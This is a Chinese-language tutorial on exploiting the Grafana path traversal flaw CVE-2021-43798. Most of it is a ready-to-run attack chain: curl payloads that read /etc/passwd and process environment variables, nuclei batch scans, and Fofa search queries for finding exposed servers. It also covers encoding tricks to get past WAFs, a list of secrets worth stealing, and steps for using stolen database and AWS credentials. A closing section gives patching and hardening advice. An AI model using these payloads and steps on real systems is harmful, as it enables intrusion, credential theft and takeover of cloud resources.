1. 项目概述:一次典型的Grafana路径遍历漏洞实战复盘
最近在内部安全评估和SRC漏洞挖掘的交流中,Grafana的未授权路径遍历漏洞(CVE-2021-43798)被频繁提及。这并非一个停留在理论层面的CVE编号,而是一个在特定版本范围内真实存在、利用门槛相对较低、且能直接读取服务器敏感文件的高危漏洞。对于从事渗透测试、红队评估或安全研究的朋友来说,掌握这类漏洞的实战利用链,是构建完整攻击面认知的关键一环。本文将以一次模拟的实战环境为背景,完整拆解从信息搜集、漏洞验证到深度利用的全过程,并分享在复现和分析过程中积累的实操心得与排查技巧。无论你是刚入门的安全爱好者,还是想巩固Web漏洞知识体系的从业者,这篇深度解析都能为你提供可直接复现的路径和绕过思路的启发。
2. 漏洞核心原理与影响范围拆解
2.1 漏洞成因:插件加载机制的设计缺陷
Grafana作为一个功能强大的数据可视化平台,其可扩展性很大程度上依赖于插件系统。用户可以通过安装各种面板、数据源或应用插件来增强功能。为了提供静态资源(如JavaScript、CSS、图片),Grafana会通过特定的URL路径来访问这些插件文件。
漏洞的核心就出现在处理插件静态资源文件的代码逻辑上。在受影响版本的Grafana中,其用于提供插件静态文件的路由处理函数(通常位于pkg/api/plugins.go或相关文件中)存在缺陷。当收到形如/public/plugins/[plugin-id]/*的请求时,后端代码会提取[plugin-id]和后续的路径参数,然后直接将其拼接成服务器文件系统的绝对路径,最终读取文件内容返回给用户。
问题在于,这个路径拼接过程没有对用户输入的[plugin-id]和后续路径进行充分的规范化(Canonicalization)和路径遍历(Path Traversal)检查。攻击者可以通过在[plugin-id]或后续路径中插入特殊的目录遍历序列(如../),使最终拼接出的路径“跳出”预定的插件目录,指向服务器文件系统上的任意其他文件。
注意:这里说的“任意文件”是受Web服务进程运行权限限制的。Grafana通常以非root用户(如
grafana或nobody)运行,因此只能读取该用户有权访问的文件,但这通常已经包含了大量敏感配置和日志。
2.2 影响版本与修复方案
根据官方公告,此漏洞影响多个Grafana版本分支:
- Grafana 8.x系列:影响 8.0.0-beta1 到 8.3.0(不含)之间的所有版本。
- Grafana 7.x系列:影响 7.0.0 到 7.5.11(不含)之间的所有版本。
- 更早的版本也可能受影响,但官方主要对上述主流分支提供了修复。
修复方案相对直接:升级到已修复的版本。
- 对于8.x分支,应升级至8.3.1或更高版本。
- 对于7.x分支,应升级至7.5.11或更高版本。 修复的核心是在路径拼接前,对用户输入的插件ID和文件路径进行了严格的校验,确保其不会包含目录遍历字符,并且最终路径被限制在合法的插件目录内。
2.3 漏洞的实战价值与局限性
在实战中,这个漏洞的价值主要体现在以下几个方面:
- 信息收集:可以读取
/etc/passwd确认用户列表,读取/proc/self/environ获取环境变量(可能包含数据库密码、API密钥),读取/etc/hosts了解内网结构,读取Grafana自身的配置文件/etc/grafana/grafana.ini获取数据库连接字符串、LDAP配置等。 - 密钥窃取:读取
~/.aws/credentials、~/.ssh/id_rsa等文件,为后续横向移动或云环境攻击打下基础。 - 源码泄露:如果Grafana是自行编译或部署了特定应用,可能读取到项目源码,辅助进行白盒审计或发现更深的逻辑漏洞。
局限性同样明显:
- 需要未授权访问:漏洞利用的前提是Grafana实例允许未授权访问(即无需登录即可访问前端界面)。如果配置了强制登录(如配置了
[auth.anonymous]为false或使用了OAuth等外部认证),则漏洞无法直接利用。不过,在互联网上,配置不当导致未授权访问的Grafana实例并不少见。 - 权限限制:如前所述,受Web进程权限限制,只能读取特定文件。
- 已知且已修复:这是一个公开的CVE,大部分安全意识较强的团队应该已经修复。它的主要价值在于针对老旧系统、疏忽配置的资产,或者作为攻击链中的一环。
3. 环境搭建与漏洞复现实操
3.1 靶场环境快速搭建
为了安全且可控地进行复现,我们使用Docker快速搭建一个存在漏洞的Grafana环境。这是最接近真实场景且不会影响宿主机的方案。
首先,拉取一个受影响的特定版本镜像,这里我们选择grafana/grafana:8.2.0:
docker pull grafana/grafana:8.2.0然后,运行容器。为了便于测试,我们将宿主机的/tmp目录挂载到容器内,并开放3000端口:
docker run -d --name grafana-vuln -p 3000:3000 -v /tmp:/tmp grafana/grafana:8.2.0等待几秒钟后,访问http://your-host-ip:3000,你应该能看到Grafana的登录界面,并且通常可以未授权访问到主面板。这模拟了一个常见的暴露在公网且未配置认证的Grafana实例。
3.2 漏洞验证与基础利用
漏洞的利用点在于/public/plugins/这个路径。我们需要构造一个特殊的请求,让[plugin-id]部分包含路径遍历序列。
第一步:验证漏洞是否存在最经典的验证方法是尝试读取/etc/passwd文件。我们可以使用curl命令:
curl --path-as-is -v "http://your-host-ip:3000/public/plugins/alertlist/../../../../../../../../etc/passwd"命令参数解释:
--path-as-is:这是关键参数。它告诉curl不要对URL中的../等特殊字符进行编码或处理,原样发送给服务器。没有这个参数,curl可能会自动编码../为%2e%2e%2f,导致利用失败。-v:输出详细过程,便于调试。alertlist:这是一个Grafana默认安装的插件ID。你可以替换成任何已知存在的插件ID,如graph、table等。如果插件不存在,服务器可能返回404,但这不影响路径遍历的利用,因为路径拼接发生在检查插件是否存在之前。
如果漏洞存在,你会看到HTTP 200响应,并在响应体中看到/etc/passwd文件的内容。
第二步:使用工具进行自动化探测手动构造URL效率低。我们可以使用nuclei这类强大的漏洞扫描器。首先需要安装nuclei(可通过go install或下载release包),然后使用针对该漏洞的POC模板:
nuclei -u http://your-host-ip:3000 -t /path/to/nuclei-templates/cves/2021/CVE-2021-43798.yaml这个模板会自动尝试多个路径遍历Payload和多个敏感文件路径(如/etc/passwd,/etc/hosts,/etc/grafana/grafana.ini等),并高亮显示成功读取的结果,效率远高于手动测试。
3.3 深度利用:关键敏感文件读取指南
验证漏洞后,下一步是进行深度信息收集。以下是一些在实战中价值较高的目标文件及其可能包含的信息:
| 目标文件路径 | 可能包含的敏感信息 | 用途分析 |
|---|---|---|
/etc/passwd | 系统用户列表 | 确认存在的用户,为后续SSH爆破等提供用户名字典。 |
/etc/hosts | 主机名与IP映射 | 了解目标内网网络结构,发现其他潜在目标。 |
/proc/self/environ | 当前Grafana进程的环境变量 | 高价值目标。常包含GF_DATABASE_PASSWORD、GF_SECURITY_ADMIN_PASSWORD、GF_AUTH_*等配置,直接泄露数据库密码、管理员密码或第三方认证密钥。 |
/etc/grafana/grafana.ini | Grafana主配置文件 | 包含数据库连接字符串([database]节)、LDAP配置([auth.ldap])、邮件服务器配置([smtp])、各类密钥([security])。 |
~/.aws/credentials | AWS访问密钥 | 如果Grafana集成了AWS数据源,可能在此文件。泄露可导致云资源被控制。 |
~/.ssh/id_rsa | SSH私钥 | 获取后可尝试SSH免密登录到部署服务器或其他信任该密钥的服务器。 |
/var/log/grafana/grafana.log | Grafana应用日志 | 可能记录错误信息、用户活动(含IP)、插件加载情况,辅助理解系统状态。 |
/proc/net/tcp | 当前TCP连接表 | 可推断内网中与本机有连接的其他服务。 |
实操示例:读取环境变量
curl --path-as-is -s "http://your-host-ip:3000/public/plugins/alertlist/../../../../../../../../proc/self/environ" | tr '\0' '\n'这里使用了tr ‘\0’ ‘\n’命令,因为/proc/self/environ中的环境变量是以空字符\0分隔的,这个命令将其转换为换行,便于阅读。
4. 漏洞挖掘与拓展利用思路
4.1 如何在海量资产中发现此类漏洞
在SRC漏洞挖掘或红队评估中,我们面对的是成百上千的资产。如何高效定位可能存在此漏洞的Grafana实例?
资产发现与识别:
- 端口扫描:使用
masscan或nmap对目标网段进行快速扫描,寻找开放3000端口(Grafana默认端口)的服务。 - Web指纹识别:使用
httpx、webanalyze或Wappalyzer对Web服务进行指纹识别。Grafana有独特的HTTP响应头(如X-Grafana-Version)和页面特征(如“Grafana”标题、“login”页面元素)。 - 搜索引擎语法:在公网资产测绘平台(如Fofa, Shodan, ZoomEye)使用语法搜索。例如在Fofa中:
app=“Grafana” && port=“3000”。可以进一步结合country=“CN”、title=“Grafana”等条件。
- 端口扫描:使用
批量验证与扫描:
- 将识别出的Grafana资产列表保存为
targets.txt。 - 使用
nuclei进行批量扫描:nuclei -l targets.txt -t cves/2021/CVE-2021-43798.yaml -o results.txt。 - 也可以编写简单的Python脚本,结合
requests库和并发模块(如concurrent.futures)进行自定义的批量验证。
- 将识别出的Grafana资产列表保存为
4.2 绕过与拓展技巧
虽然原版漏洞利用简单,但在一些特定场景下,可能需要一些技巧。
插件ID的发现:如果不知道有效的插件ID怎么办?
- 观察页面:在未授权的Grafana面板上,查看已有的面板类型,其名称往往就是插件ID(如
Time series,Stat,Table)。 - 目录枚举:理论上,可以尝试遍历
/public/plugins/目录(如果目录列表功能开启,但通常不会)。更实际的方法是使用常见的插件ID字典进行爆破,如alertlist,graph,table,stat,heatmap,bargauge等。 - 错误信息:请求一个不存在的插件ID,如
/public/plugins/aaa/../etc/passwd,Grafana可能会在错误页面或日志中泄露已安装的插件列表(取决于配置),但这需要进一步尝试。
- 观察页面:在未授权的Grafana面板上,查看已有的面板类型,其名称往往就是插件ID(如
路径深度问题:
../../../需要多少个? 这取决于Grafana在容器或服务器中的安装路径。插件静态文件通常位于/usr/share/grafana/public/plugins/或/var/lib/grafana/plugins。从该路径回溯到根目录/,通常需要8-10个../。在实践中,最稳妥的方法是“过量使用”,例如直接使用10个甚至12个../,因为多余的../在根目录/之上是无效的,但不会导致请求失败。这就是为什么POC中常看到一大串../的原因。编码与混淆:虽然该漏洞的利用对
../本身通常不需要编码,但有时WAF或中间件可能会拦截。可以尝试一些简单的混淆:- URL编码:
..%2f(等同于../)。 - 双重编码:
%252e%252e%252f(第一次解码为..%2f,第二次解码为../)。 - 使用绝对路径:在某些特定场景下,尝试直接使用绝对路径(如
/etc/passwd)作为文件参数,但这取决于后端代码的具体实现,对于此漏洞通常无效。
- URL编码:
4.3 从信息泄露到权限提升
读取到敏感信息后,如何将其转化为实际的权限?这构成了一个完整的攻击链。
场景一:获取数据库凭证从grafana.ini或环境变量中,你可能找到类似这样的配置:
[database] type = mysql host = 127.0.0.1:3306 name = grafana user = grafana password = SuperSecretPassword123!- 直接连接数据库:使用获取的密码连接MySQL。如果数据库可远程访问(
host不是127.0.0.1),则可直接操作。 - 本地连接与提权:如果host是
127.0.0.1,说明数据库与Grafana同机。此时,如果你通过其他漏洞(如SSH私钥泄露、RCE漏洞)获得了该服务器的shell,就可以用这个高权限的数据库用户访问数据库,可能从中提取其他应用的数据,甚至尝试数据库提权(如利用MySQL UDF执行命令)。
场景二:获取配置文件中的密钥grafana.ini中的[security]部分可能包含secret_key和admin_password。
secret_key:用于签名会话Cookie。如果同时存在另一个漏洞允许你伪造或修改Cookie(如别的站点的XSS),结合这个secret_key,你可能构造出合法的Grafana会话,从而直接以管理员身份登录。admin_password:早期版本或特定配置下,这里可能直接存储了管理员密码(虽然不推荐)。如果密码是散列值,可以尝试破解。
场景三:环境变量中的云凭证从/proc/self/environ中读取到AWS_ACCESS_KEY_ID和AWS_SECRET_ACCESS_KEY。
- 立即使用AWS CLI配置这些密钥:
aws configure set aws_access_key_id AKIA...。 - 枚举该凭证的权限:
aws sts get-caller-identity。 - 根据权限,尝试列出S3桶、启动EC2实例、操作Lambda函数等,实现云环境内的横向移动或资源控制。
5. 防御措施与安全加固建议
对于防御方而言,仅仅知道漏洞原理是不够的,必须落实到具体的加固动作上。
5.1 立即修复方案
- 升级版本:这是最根本、最有效的解决方案。将Grafana升级到不受该漏洞影响的版本(8.3.1+ 或 7.5.11+)。在升级前,务必在测试环境进行充分验证,备份配置和数据。
- 临时缓解措施:如果因故无法立即升级,可以考虑以下临时方案:
- 网络层控制:通过防火墙(如iptables, cloud security group)严格限制访问Grafana端口的源IP,仅允许运维人员或监控系统的IP访问。
- Web服务器配置:在Grafana前方的反向代理(如Nginx)中,添加规则阻断包含
../或..\的恶意请求。
注意:此方法可能被绕过(如编码),且可能影响正常插件请求,需谨慎测试。location /public/plugins/ { if ($request_uri ~* "\.\./") { return 403; } # ... 其他代理配置 }
5.2 安全配置最佳实践
修复漏洞后,应从架构和配置层面提升整体安全性:
- 强制身份认证:绝对不要在生产环境开启匿名访问。在
grafana.ini中确保:
同时,为所有用户配置强密码策略,并启用双因素认证(2FA)。[auth.anonymous] enabled = false - 最小权限原则运行:为Grafana创建一个专用的、低权限的系统用户(如
grafana),并以此用户身份运行Grafana服务。确保该用户对操作系统关键文件(如/etc/shadow,/root)没有任何读取权限。 - 容器安全:如果使用Docker部署,应以非root用户运行容器(
docker run --user 1000:1000),并确保容器内Grafana进程的权限被严格限制。 - 定期安全更新:订阅Grafana的安全公告,建立定期更新机制。将漏洞扫描(如使用trivy扫描容器镜像)纳入CI/CD流程。
- 纵深防御:将Grafana部署在内网,通过VPN或堡垒机访问。如果必须对外暴露,则应置于WAF(Web应用防火墙)之后,并配置针对路径遍历、SQL注入等常见攻击的防护规则。
- 敏感信息管理:避免在配置文件
grafana.ini中硬编码密码。使用环境变量或密钥管理服务(如HashiCorp Vault, AWS Secrets Manager)来传递数据库密码、API密钥等敏感信息。这样即使配置文件被读取,攻击者也拿不到核心密钥。
5.3 监控与应急响应
- 日志监控:启用并集中收集Grafana的访问日志和错误日志。重点关注对
/public/plugins/路径的异常访问,特别是包含大量../序列的请求。可以配置SIEM或日志分析平台的告警规则。 - 文件完整性监控:对Grafana配置文件、插件目录等关键位置进行文件完整性监控(FIM),一旦被篡改或异常读取,能及时告警。
- 应急响应预案:一旦发现入侵迹象(如异常文件读取日志),立即启动预案:隔离受影响系统、重置所有相关凭证(数据库密码、Grafana用户密码、云密钥等)、进行全面的恶意代码排查和溯源分析。
漏洞的复现与分析不仅是学习攻击手法,更重要的是从防御视角理解每一处代码缺陷可能带来的风险,从而在设计、开发、部署和运维的每一个环节,都建立起相应的安全屏障。Grafana CVE-2021-43798是一个绝佳的样本,它清晰地展示了“一个小疏忽如何导致整个系统防线被洞穿”。在实战中,攻击者往往就是利用这些被忽视的“小问题”,层层递进,最终达成目标。因此,保持对组件的持续关注、践行最小权限原则、实施纵深防御,才是应对层出不穷的安全威胁的根本之道。